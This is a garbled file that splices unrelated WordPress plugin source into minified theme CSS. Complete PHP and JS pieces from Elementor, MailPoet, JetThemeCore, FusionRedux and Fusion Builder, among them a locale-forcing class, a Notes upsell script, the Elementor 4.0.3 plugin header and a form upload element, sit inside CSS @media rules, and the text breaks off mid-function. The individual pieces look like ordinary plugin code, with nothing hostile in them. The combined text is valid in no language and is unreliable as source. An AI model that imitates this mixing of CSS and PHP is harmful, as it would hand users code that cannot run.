20px;line-height:20px;font-size:10px;font-size:10px!important;line-height:20px!important;padding:0 10px!important}.ls-container .button.button-3d:active,.ls-container .fusion-button.button-3d:active,.rev_slider .button.button-3d:active,.rev_slider .fusion-button.button-3d:active{top:2px}.ls-container .button .fusion-button-text-left,.ls-container .fusion-button .fusion-button-text-left,.rev_slider .button .fusion-button-text-left,.rev_slider .fusion-button .fusion-button-text-left{display:inline-block;padding-left:25px}.ls-container .button .fusion-button-text-right,.ls-container .fusion-button .fusion-button-text-right,.rev_slider .button .fusion-button-text-right,.rev_slider .fusion-button .fusion-button-text-right{display:inline-block;padding-right:25px}.ls-container .button .button-icon-divider-left,.ls-container .fusion-button .button-icon-divider-left,.rev_slider .button .button-icon-divider-left,.rev_slider .fusion-button .button-icon-divider-left{padding:0 11px}.ls-container .button .button-icon-divider-left.fusion-megamenu-image,.ls-container .fusion-button .button-icon-divider-left.fusion-megamenu-image,.rev_slider .button .button-icon-divider-left.fusion-megamenu-image,.rev_slider .fusion-button .button-icon-divider-left.fusion-megamenu-image{padding:0 5.5px}.ls-container .button .button-icon-divider-right,.ls-container .fusion-button .button-icon-divider-right,.rev_slider .button .button-icon-divider-right,.rev_slider .fusion-button .button-icon-divider-right{padding:0 11px}.ls-container .button .button-icon-divider-right.fusion-megamenu-image,.ls-container .fusion-button .button-icon-divider-right.fusion-megamenu-image,.rev_slider .button .button-icon-divider-right.fusion-megamenu-image,.rev_slider .fusion-button .button-icon-divider-right.fusion-megamenu-image{padding:0 5.5px}.ls-container .button .button-icon-divider-left i,.ls-container .button .button-icon-divider-left img,.ls-container .button .button-icon-divider-right i,.ls-container .button .button-icon-divider-right img,.ls-container .fusion-button .button-icon-divider-left i,.ls-container .fusion-button .button-icon-divider-left img,.ls-container .fusion-button .button-icon-divider-right i,.ls-container .fusion-button .button-icon-divider-right img,.rev_slider .button .button-icon-divider-left i,.rev_slider .button .button-icon-divider-left img,.rev_slider .button .button-icon-divider-right i,.rev_slider .button .button-icon-divider-right img,.rev_slider .fusion-button .button-icon-divider-left i,.rev_slider .fusion-button .button-icon-divider-left img,.rev_slider .fusion-button .button-icon-divider-right i,.rev_slider .fusion-button .button-icon-divider-right img{display:block}.ls-container .button.button-3d:active,.ls-container .fusion-button.button-3d:active,.rev_slider .button.button-3d:active,.rev_slider .fusion-button.button-3d:active{top:2px!important}.ls-container .button span,.ls-container .fusion-button span,.rev_slider .button span,.rev_slider .fusion-button span{font-size:10px!important}}@media only screen and (max-width: 800px){.ls-container .button,.ls-container .fusion-button,.rev_slider .button,.rev_slider .fusion-button{padding:0 20px;line-height:30px;font-size:12px;font-size:10px!important;line-height:30px!important;padding:0 20px!important}.ls-container .button.button-3d:active,.ls-container .fusion-button.button-3d:active,.rev_slider .button.button-3d:active,.rev_slider .fusion-button.button-3d:active{top:2px}.ls-container .button .fusion-button-text-left,.ls-container .fusion-button .fusion-button-text-left,.rev_slider .button .fusion-button-text-left,.rev_slider .fusion-button .fusion-button-text-left{display:inline-block;padding-left:25px}.ls-container .button .fusion-button-text-right,.ls-container .fusion-button .fusion-button-text-right,.rev_slider .button .fusion-button-text-right,.rev_slider .fusion-button .fusion-button-text-right{display:inline-block;padding-right:25px}.ls-container .button .button-icon-divider-left,.ls-container .fusion-button .button-icon-divider-left,.rev_slider .button .button-icon-divider-left,.rev_slider .fusion-button .button-icon-divider-left{padding:0 10px}.ls-container .button .button-icon-divider-left.fusion-megamenu-image,.ls-container .fusion-button .button-icon-divider-left.fusion-megamenu-image,.rev_slider .button .button-icon-divider-left.fusion-megamenu-image,.rev_slider .fusion-button .button-icon-divider-left.fusion-megamenu-image{padding:0 5px}.ls-container .button .button-icon-divider-right,.ls-container .fusion-button .button-icon-divider-right,.rev_slider .button .button-icon-divider-right,.rev_slider .fusion-button .button-icon-divider-right{padding:0 10px}.ls-container .button .button-icon-divider-right.fusion-megamenu-image,.ls-container .fusion-button .button-icon-divider-right.fusion-megamenu-image,.rev_slider .button .button-icon-divider-right.fusion-megamenu-image,.rev_slider .fusion-button .button-icon-divider-right.fusion-megamenu-image{padding:0 5px}.ls-container .button .button-icon-divider-left i,.ls-container .button .button-icon-divider-left img,.ls-container .button .button-icon-divider-right i,.ls-container .button .button-icon-divider-right img,.ls-container .fusion-button .button-icon-divider-left i,.ls-container .fusion-button .button-icon-divider-left img,.ls-container .fusion-button .button-icon-divider-right i,.ls-container .fusion-button .button-icon-divider-right img,.rev_slider .button .button-icon-divider-left i,.rev_slider .button .button-icon-divider-left img,.rev_slider .button .button-icon-divider-right i,.rev_slider .button .button-icon-divider-right img,.rev_slider .fusion-button .button-icon-divider-left i,.rev_slider .fusion-button .button-icon-divider-left img,.rev_slider .fusion-button .button-icon-divider-right i,.rev_slider .fusion-button .button-icon-divider-right img{display:block}.ls-container .button.button-3d:active,.ls-container .fusion-button.button-3d:active,.rev_slider .button.button-3d:active,.rev_slider .fusion-button.button-3d:active{top:2px!important}.ls-container .button span,.ls-container .fusion-button span,.rev_slider .button span,.rev_slider .fusion-button span{font-size:10px!important}.fusion-revslider-mobile-padding{padding-left:30px!important;padding-right:30px!important}}@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait){}@media only screen and (max-width: 640px){}@media only screen and (max-device-width: 640px){}@media only screen and (max-width: 800px){.fusion-theme-sharing-box{flex-direction:column;align-items:center}.fusion-theme-sharing-box h4{margin-bottom:.5em;text-align:center}.fusion-theme-sharing-box .fusion-social-networks .fusion-social-networks-wrapper{justify-content:center}}@media only screen and (max-width: 800px){<?php
namespace Elementor\Core\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Force translation to use a specific locale.
 *
 * A hacky class to force any translation functions in the call-stack between the
 * `force()` & `reset()` methods to use a specific locale.
 */
class Force_Locale {

	/**
	 * @var string Locale to force (e.g. `he_IL`).
	 */
	private $new_locale;

	/**
	 * @var string Original locale before forcing.
	 */
	private $original_locale;

	/**
	 * @var \WP_Textdomain_Registry
	 */
	private $original_textdomain_registry;

	/**
	 * @var \Closure Filter reference `pre_determine_locale`.
	 */
	private $filter;

	public function __construct( $new_locale, $original_locale = null ) {
		$this->new_locale = $new_locale;

		$this->original_locale = $original_locale ? $original_locale : determine_locale();

		$this->filter = function() use ( $new_locale ) {
			return $new_locale;
		};
	}

	/**
	 * Force the translations to use a specific locale.
	 *
	 * @return void
	 */
	public function force() {
		switch_to_locale( $this->new_locale );

		/**
		 * Reset the \WP_Textdomain_Registry instance to clear its cache.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/src/wp-includes/class-wp-textdomain-registry.php#L179-L187
		 * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/tests/phpunit/tests/l10n/wpLocaleSwitcher.php#L19-L31
		 */
		$this->reset_textdomain_registry();

		/**
		 * Reset l10n in order to clear the translations cache.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1324
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1222
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L821
		 */
		$this->reset_l10n();

		/**
		 * Force the translations of `$new_locale` to be loaded.
		 *
		 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1294
		 */
		add_filter( 'pre_determine_locale', $this->filter );
	}

	/**
	 * Restore the original locale and cleanup filters, etc.
	 *
	 * @return void
	 */
	public function restore() {
		$this->restore_textdomain_registry();

		$this->reset_l10n();

		switch_to_locale( $this->original_locale );

		remove_filter( 'pre_determine_locale', $this->filter );
	}

	private function reset_textdomain_registry() {
		if ( ! class_exists( '\WP_Textdomain_Registry' ) ) {
			return;
		}

		/** @var \WP_Textdomain_Registry $wp_textdomain_registry */
		global $wp_textdomain_registry;

		$this->original_textdomain_registry = $wp_textdomain_registry;

		$wp_textdomain_registry = new \WP_Textdomain_Registry();
	}

	private function restore_textdomain_registry() {
		if ( ! $this->original_textdomain_registry ) {
			return;
		}

		/** @var \WP_Textdomain_Registry $wp_textdomain_registry */
		global $wp_textdomain_registry;

		$wp_textdomain_registry = $this->original_textdomain_registry;
	}

	/**
	 * Reset the l10n global variables.
	 *
	 * @return void
	 */
	private function reset_l10n() {
		global $l10n, $l10n_unloaded;

		if ( is_array( $l10n ) ) {
			foreach ( $l10n as $domain => $l10n_data ) {
				unset( $l10n[ $domain ] );
			}
		}

		if ( is_array( $l10n_unloaded ) ) {
			foreach ( $l10n_unloaded as $domain => $l10n_unloaded_data ) {
				unset( $l10n_unloaded[ $domain ] );
			}
		}
	}
}
}@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait){/*! elementor - v3.15.0 - 20-08-2023 */
(()=>{var e={7033:(e,t,r)=>{"use strict";var o=r(73203),n=r(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var u=o(r(78983)),a=o(r(42081)),i=o(r(58724)),s=o(r(71173)),l=o(r(74910)),c=_interopRequireWildcard(r(44171)),f=_interopRequireWildcard(r(14606));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?r:t})(e)}function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==n(e)&&"function"!=typeof e)return{default:e};var r=_getRequireWildcardCache(t);if(r&&r.has(e))return r.get(e);var o={},u=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var i=u?Object.getOwnPropertyDescriptor(e,a):null;i&&(i.get||i.set)?Object.defineProperty(o,a,i):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}function _createSuper(e){var t=function _isNativeReflectConstruct(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function _createSuperInternal(){var r,o=(0,l.default)(e);if(t){var n=(0,l.default)(this).constructor;r=Reflect.construct(o,arguments,n)}else r=o.apply(this,arguments);return(0,s.default)(this,r)}}var p=function(e){(0,i.default)(EComponent,e);var t=_createSuper(EComponent);function EComponent(e){var r;return(0,u.default)(this,EComponent),(r=t.call(this,e)).loadModules(),r}return(0,a.default)(EComponent,[{key:"getNamespace",value:function getNamespace(){return"notes"}},{key:"defaultHooks",value:function defaultHooks(){return this.importHooks(f)}},{key:"loadModules",value:function loadModules(){for(var e in c)new c[e]}}]),EComponent}($e.modules.ComponentBase);t.default=p},14606:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"NotesAddPanelMenuItem",{enumerable:!0,get:function get(){return o.NotesAddPanelMenuItem}});var o=r(36938)},36938:(e,t,r)=>{"use strict";var o=r(38003).__,n=r(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.NotesAddPanelMenuItem=void 0;var u=n(r(78983)),a=n(r(42081)),i=n(r(58724)),s=n(r(71173)),l=n(r(74910));function _createSuper(e){var t=function _isNativeReflectConstruct(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function _createSuperInternal(){var r,o=(0,l.default)(e);if(t){var n=(0,l.default)(this).constructor;r=Reflect.construct(o,arguments,n)}else r=o.apply(this,arguments);return(0,s.default)(this,r)}}var c=function(e){(0,i.default)(NotesAddPanelMenuItem,e);var t=_createSuper(NotesAddPanelMenuItem);function NotesAddPanelMenuItem(){return(0,u.default)(this,NotesAddPanelMenuItem),t.apply(this,arguments)}return(0,a.default)(NotesAddPanelMenuItem,[{key:"getCommand",value:function getCommand(){return"panel/state-ready"}},{key:"getId",value:function getId(){return"notes-add-panel-menu-item"}},{key:"apply",value:function apply(){elementor.modules.layouts.panel.pages.menu.Menu.addItem({name:"notes",icon:"eicon-commenting-o",title:o("Notes","elementor")+'<i class="elementor-panel-menu-item-title-badge eicon-pro-icon"></i>',callback:function callback(){var e=elementor.helpers.hasProAndNotConnected();elementor.promotion.showDialog({title:o("Notes","elementor"),content:o("With Notes, teamwork gets even better. Stay in sync with comments, feedback & more on your website.","elementor"),position:{blockStart:"-3",inlineStart:"+10"},targetElement:this.$el,actionButton:{url:e?elementorProEditorConfig.urls.connect:"https://go.elementor.com/go-pro-notes/",text:o(e?"Connect & Activate":"Upgrade","elementor")}})}},"navigate_from_page","finder")}}]),NotesAddPanelMenuItem}($e.modules.hookUI.After);t.NotesAddPanelMenuItem=c;var f=c;t.default=f},65419:(e,t,r)=>{"use strict";var o=r(38003).__,n=r(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.NotesContextMenu=void 0;var u=n(r(78983)),a=n(r(42081)),i=n(r(58724)),s=n(r(71173)),l=n(r(74910));function _createSuper(e){var t=function _isNativeReflectConstruct(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function _createSuperInternal(){var r,o=(0,l.default)(e);if(t){var n=(0,l.default)(this).constructor;r=Reflect.construct(o,arguments,n)}else r=o.apply(this,arguments);return(0,s.default)(this,r)}}var c=function(e){(0,i.default)(NotesContextMenu,e);var t=_createSuper(NotesContextMenu);function NotesContextMenu(){return(0,u.default)(this,NotesContextMenu),t.apply(this,arguments)}return(0,a.default)(NotesContextMenu,[{key:"onInit",value:function onInit(){this.contextMenuNotesGroup()}},{key:"contextMenuNotesGroup",value:function contextMenuNotesGroup(){var e=this;["widget","section","column","container"].forEach((function(t){elementor.hooks.addFilter("elements/".concat(t,"/contextMenuGroups"),e.contextMenuAddGroup)}))}},{key:"contextMenuAddGroup",value:function contextMenuAddGroup(e){var t=_.findWhere(e,{name:"delete"}),r=e.indexOf(t);return-1===r&&(r=e.length),e.splice(r,0,{name:"notes",actions:[{name:"open_notes",title:o("Notes","elementor"),shortcut:'<i class="eicon-pro-icon"></i>',isEnabled:function isEnabled(){return!1},callback:function callback(){}}]}),e}}]),NotesContextMenu}(elementorModules.editor.utils.Module);t.NotesContextMenu=c;var f=c;t.default=f},44171:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"NotesContextMenu",{enumerable:!0,get:function get(){return o.NotesContextMenu}});var o=r(65419)},38003:e=>{"use strict";e.exports=wp.i18n},77266:e=>{e.exports=function _assertThisInitialized(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e},e.exports.__esModule=!0,e.exports.default=e.exports},78983:e=>{e.exports=function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")},e.exports.__esModule=!0,e.exports.default=e.exports},42081:(e,t,r)=>{var o=r(74040);function _defineProperties(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,o(n.key),n)}}e.exports=function _createClass(e,t,r){return t&&_defineProperties(e.prototype,t),r&&_defineProperties(e,r),Object.defineProperty(e,"prototype",{writable:!1}),e},e.exports.__esModule=!0,e.exports.default=e.exports},74910:e=>{function _getPrototypeOf(t){return e.exports=_getPrototypeOf=Object.setPrototypeOf?Object.getPrototypeOf.bind():function _getPrototypeOf(e){return e.__proto__||Object.getPrototypeOf(e)},e.exports.__esModule=!0,e.exports.default=e.exports,_getPrototypeOf(t)}e.exports=_getPrototypeOf,e.exports.__esModule=!0,e.exports.default=e.exports},58724:(e,t,r)=>{var o=r(96196);e.exports=function _inherits(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&o(e,t)},e.exports.__esModule=!0,e.exports.default=e.exports},73203:e=>{e.exports=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}},e.exports.__esModule=!0,e.exports.default=e.exports},71173:(e,t,r)=>{var o=r(7501).default,n=r(77266);e.exports=function _possibleConstructorReturn(e,t){if(t&&("object"===o(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return n(e)},e.exports.__esModule=!0,e.exports.default=e.exports},96196:e=>{function _setPrototypeOf(t,r){return e.exports=_setPrototypeOf=Object.setPrototypeOf?Object.setPrototypeOf.bind():function _setPrototypeOf(e,t){return e.__proto__=t,e},e.exports.__esModule=!0,e.exports.default=e.exports,_setPrototypeOf(t,r)}e.exports=_setPrototypeOf,e.exports.__esModule=!0,e.exports.default=e.exports},56027:(e,t,r)=>{var o=r(7501).default;e.exports=function _toPrimitive(e,t){if("object"!==o(e)||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,t||"default");if("object"!==o(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)},e.exports.__esModule=!0,e.exports.default=e.exports},74040:(e,t,r)=>{var o=r(7501).default,n=r(56027);e.exports=function _toPropertyKey(e){var t=n(e,"string");return"symbol"===o(t)?t:String(t)},e.exports.__esModule=!0,e.exports.default=e.exports},7501:e=>{function _typeof(t){return e.exports=_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e.exports.__esModule=!0,e.exports.default=e.exports,_typeof(t)}e.exports=_typeof,e.exports.__esModule=!0,e.exports.default=e.exports}},t={};function __webpack_require__(r){var o=t[r];if(void 0!==o)return o.exports;var n=t[r]={exports:{}};return e[r](n,n.exports,__webpack_require__),n.exports}(()=>{"use strict";var e=__webpack_require__(73203)(__webpack_require__(7033));window.top.$e.components.register(new e.default)})()})();}@media only screen and (max-device-width: 640px){<?php
namespace MailPoetVendor\Twig\Node;
if (!defined('ABSPATH')) exit;
use MailPoetVendor\Twig\Compiler;
use MailPoetVendor\Twig\Node\Expression\AbstractExpression;
class PrintNode extends Node implements NodeOutputInterface
{
 public function __construct(AbstractExpression $expr, int $lineno, string $tag = null)
 {
 parent::__construct(['expr' => $expr], [], $lineno, $tag);
 }
 public function compile(Compiler $compiler) : void
 {
 $compiler->addDebugInfo($this)->write('echo ')->subcompile($this->getNode('expr'))->raw(";\n");
 }
}
}@media only screen and (max-width: 640px){<?php
/**
 * Template item
 */
?>
<# var activeTab = window.JetThemeCoreData.tabs[ type ]; #>
<div class="elementor-template-library-template-body">
	<# if ( 'jet-local' !== source ) { #>
	<div class="elementor-template-library-template-screenshot">
		<# if ( 'jet-local' !== source ) { #>
		<div class="elementor-template-library-template-preview">
			<i class="fa fa-search-plus"></i>
		</div>
		<# } #>
		<img src="{{ thumbnail }}" alt="">
	</div>
	<# } #>
</div>
<div class="elementor-template-library-template-controls">
	<# if ( 'jet-local' === source || window.JetThemeCoreData.license.activated ) { #>
	<button class="elementor-template-library-template-action jet-template-library-template-insert elementor-button elementor-button-success">
		<i class="eicon-file-download"></i>
		<span class="elementor-button-title"><?php esc_html_e( 'Insert', 'jet-theme-core' ); ?></span>
	</button>
	<# } else if ( 'jet-local' !== source ) { #>
		{{{ window.JetThemeCoreData.license.link }}}
	<# } #>
	<# if ( 'jet-local' !== source && window.JetThemeCoreData.license.activated ) { #>
	<button class="jet-clone-to-library">
		<i class="fa fa-files-o" aria-hidden="true"></i>
		<?php esc_html_e( 'Clone to Library', 'jet-theme-core' ); ?>
	</button>
	<# } #>
</div>
<# if ( 'jet-local' === source || true == activeTab.settings.show_title ) { #>
<div class="elementor-template-library-template-name">{{{ title }}}</div>
<# } else { #>
<div class="elementor-template-library-template-name-holder"></div>
<# } #>
<# if ( 'jet-local' === source ) { #>
<div class="elementor-template-library-template-type">
	<?php esc_html_e( 'Type:', 'jet-theme-core' ); ?> {{{ typeLabel }}}
</div>
<# } #>}@media only screen and (max-width: 692px){<?php

/**
 * FusionRedux Framework is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * any later version.
 * FusionRedux Framework is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 * You should have received a copy of the GNU General Public License
 * along with FusionRedux Framework. If not, see <http://www.gnu.org/licenses/>.
 *
 * @package     FusionReduxFramework
 * @subpackage  Field_Divide
 * @author      Daniel J Griffiths (Ghost1227)
 * @author      Dovy Paukstys
 * @version     3.0.0
 */

// Exit if accessed directly
if ( !defined ( 'ABSPATH' ) ) {
	exit;
}

// Don't duplicate me!
if ( !class_exists ( 'FusionReduxFramework_divide' ) ) {

	/**
	 * Main FusionReduxFramework_divide class
	 *
	 * @since       1.0.0
	 */
	class FusionReduxFramework_divide {

		/**
		 * Field Constructor.
		 * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function
		 *
		 * @since         1.0.0
		 * @access        public
		 * @return        void
		 */
		function __construct ( $field = array(), $value = '', $parent = null ) {
			$this->parent = $parent;
			$this->field = $field;
			$this->value = $value;
		}

		/**
		 * Field Render Function.
		 * Takes the vars and outputs the HTML for the field in the settings
		 *
		 * @since         1.0.0
		 * @access        public
		 * @return        void
		 */
		public function render () {
			echo '</td></tr></table>';
			echo '<div data-id="' . $this->field[ 'id' ] . '" id="divide-' . $this->field[ 'id' ] . '" class="divide ' . $this->field[ 'class' ] . '"><div class="inner"><span>&nbsp;</span></div></div>';
			echo '<table class="form-table no-border"><tbody><tr><th></th><td>';
		}

		/**
		 * Enqueue Function.
		 * If this field requires any scripts, or css define this function and register/enqueue the scripts/css
		 *
		 * @since       1.0.0
		 * @access      public
		 * @return      void
		 */
		public function enqueue() {
			if ($this->parent->args['dev_mode']) {
				wp_enqueue_style(
					'fusionredux-field-divide',
					FusionReduxFramework::$_url . 'inc/fields/divide/field_divide.css',
					array(),
					time(),
					'all'
				);
			}
		}
	}
}
}@media only screen and (min-width: 692px) and (max-width: 744px){<?php
/**
 * Plugin Name: Elementor
 * Description: The Elementor Website Builder has it all: drag and drop page builder, Atomic Editor, pixel perfect design, global and reusable style systems, mobile responsive editing, and more. Get started now!
 * Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
 * Version: 4.0.3
 * Author: Elementor.com
 * Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
 * Requires PHP: 7.4
 * Requires at least: 6.6
 * Text Domain: elementor
 *
 * @package Elementor
 * @category Core
 *
 * Elementor is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * any later version.
 *
 * Elementor is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'ELEMENTOR_VERSION', '4.0.3' );

define( 'ELEMENTOR__FILE__', __FILE__ );
define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
define( 'ELEMENTOR_PATH', plugin_dir_path( ELEMENTOR__FILE__ ) );

if ( defined( 'ELEMENTOR_TESTS' ) && ELEMENTOR_TESTS ) {
	define( 'ELEMENTOR_URL', 'file://' . ELEMENTOR_PATH );
} else {
	define( 'ELEMENTOR_URL', plugins_url( '/', ELEMENTOR__FILE__ ) );
}

define( 'ELEMENTOR_MODULES_PATH', plugin_dir_path( ELEMENTOR__FILE__ ) . '/modules' );
define( 'ELEMENTOR_ASSETS_PATH', ELEMENTOR_PATH . 'assets/' );
define( 'ELEMENTOR_ASSETS_URL', ELEMENTOR_URL . 'assets/' );

if ( ! defined( 'ELEMENTOR_EDITOR_EVENTS_MIXPANEL_TOKEN' ) ) {
	define( 'ELEMENTOR_EDITOR_EVENTS_MIXPANEL_TOKEN', '150605b3b9f979922f2ac5a52e2dcfe9' );
}

if ( file_exists( ELEMENTOR_PATH . 'vendor/autoload.php' ) ) {
	require_once ELEMENTOR_PATH . 'vendor/autoload.php';
	// We need this file because of the DI\create function that we are using.
	// Autoload classmap doesn't include this file.
}

$deprecation_func_file = ELEMENTOR_PATH . 'vendor_prefixed/twig/symfony/deprecation-contracts/function.php';
if ( file_exists( $deprecation_func_file ) ) {
	require_once $deprecation_func_file;
	if ( ! function_exists( 'trigger_deprecation' ) ) {
		function trigger_deprecation( string $package, string $version, string $message, ...$args ): void {
			\ElementorDeps\trigger_deprecation( $package, $version, $message, ...$args );
		}
	}
}

if ( ! version_compare( PHP_VERSION, '7.4', '>=' ) ) {
	add_action( 'admin_notices', 'elementor_fail_php_version' );
} elseif ( ! version_compare( get_bloginfo( 'version' ), '6.5', '>=' ) ) {
	add_action( 'admin_notices', 'elementor_fail_wp_version' );
} else {
	require ELEMENTOR_PATH . 'includes/plugin.php';
}

/**
 * Elementor admin notice for minimum PHP version.
 *
 * Warning when the site doesn't have the minimum required PHP version.
 *
 * @since 1.0.0
 *
 * @return void
 */
function elementor_fail_php_version() {
	$html_message = sprintf(
		'<div class="error"><h3>%1$s</h3><p>%2$s <a href="https://go.elementor.com/wp-dash-update-php/" target="_blank">%3$s</a></p></div>',
		esc_html__( 'Elementor isn’t running because PHP is outdated.', 'elementor' ),
		sprintf(
			/* translators: %s: PHP version. */
			esc_html__( 'Update to version %s and get back to creating!', 'elementor' ),
			'7.4'
		),
		esc_html__( 'Show me how', 'elementor' )
	);

	echo wp_kses_post( $html_message );
}

/**
 * Elementor admin notice for minimum WordPress version.
 *
 * Warning when the site doesn't have the minimum required WordPress version.
 *
 * @since 1.5.0
 *
 * @return void
 */
function elementor_fail_wp_version() {
	$html_message = sprintf(
		'<div class="error"><h3>%1$s</h3><p>%2$s <a href="https://go.elementor.com/wp-dash-update-wordpress/" target="_blank">%3$s</a></p></div>',
		esc_html__( 'Elementor isn’t running because WordPress is outdated.', 'elementor' ),
		sprintf(
			/* translators: %s: WordPress version. */
			esc_html__( 'Update to version %s and get back to creating!', 'elementor' ),
			'6.5'
		),
		esc_html__( 'Show me how', 'elementor' )
	);

	echo wp_kses_post( $html_message );
}
}@media only screen and (min-width: 744px) and (max-width: 796px){<?php
/**
 * Add an element to fusion-builder.
 *
 * @package fusion-builder
 * @since 3.1
 */

if ( fusion_is_element_enabled( 'fusion_form_upload' ) ) {

	if ( ! class_exists( 'FusionForm_Upload' ) ) {
		/**
		 * Shortcode class.
		 *
		 * @since 3.1
		 */
		class FusionForm_Upload extends Fusion_Form_Component {

			/**
			 * An array of the shortcode arguments.
			 *
			 * @access protected
			 * @since 3.1
			 * @var array
			 */
			protected $args;

			/**
			 * The internal container counter.
			 *
			 * @access private
			 * @since 3.1
			 * @var int
			 */
			public $counter = 0;

			/**
			 * Constructor.
			 *
			 * @access public
			 * @since 3.1
			 */
			public function __construct() {
				parent::__construct( 'fusion_form_upload' );
			}

			/**
			 * Gets the default values.
			 *
			 * @static
			 * @access public
			 * @since 3.1
			 * @return array
			 */
			public static function get_element_defaults() {
				$fusion_settings = fusion_get_fusion_settings();
				return [
					'label'            => '',
					'name'             => '',
					'required'         => '',
					'placeholder'      => '',
					'input_field_icon' => '',
					'upload_size'      => '',
					'extensions'       => '',
					'class'            => '',
					'id'               => '',
					'tooltip'          => '',
				];
			}

			/**
			 * Render form field html.
			 *
			 * @access public
			 * @since 3.1
			 * @param string $content The content.
			 * @return string
			 */
			public function render_input_field( $content ) {

				$element_data = $this->create_element_data( $this->args );
				$html         = '';

				if ( '' !== $this->args['tooltip'] ) {
					$element_data['label'] .= $this->get_field_tooltip( $this->args );
				}

				$element_data['accept'] = ( isset( $this->args['extensions'] ) && '' !== $this->args['extensions'] ) ? 'accept="' . $this->args['extensions'] . '"' : '';

				$element_html  = '<div class="fusion-form-upload-field-container">';
				$element_html .= '<input type="file" id="' . $this->args['name'] . '" name="' . $this->args['name'] . '" value="' . $content . '" ' . $element_data['class'] . $element_data['accept'] . $element_data['required'] . $element_data['placeholder'] . $element_data['style'] . $element_data['upload_size'] . '/>';
				$element_html .= '<input type="text" disabled value="' . $content . '" class="fusion-form-upload-field" ' . $element_data['required'] . $element_data['placeholder'] . $element_data['style'] . $element_data['holds_private_data'] . '/>';
				$element_html .= do_shortcode( '[fusion_button class="fusion-form-upload-field-button" size="medium" shape="square" link="javascript:void();" target="_self" hide_on_mobile="small-visibility,medium-visibility,large-visibility" color="default"  stretch="default"]' . __( 'Choose File', 'fusion-builder' ) . '[/fusion_button]' );
				$element_html .= '</div>';

				if ( isset( $this->args['input_field_icon'] ) && '' !== $this->args['input_field_icon'] ) {
					$icon_html     = '<div class="fusion-form-input-with-icon">';
					$icon_html    .= '<i class=" ' . $this->args['input_field_icon'] . '"></i>';
					$element_html  = $icon_html . $element_html;
					$element_html .= '</div>';
				}

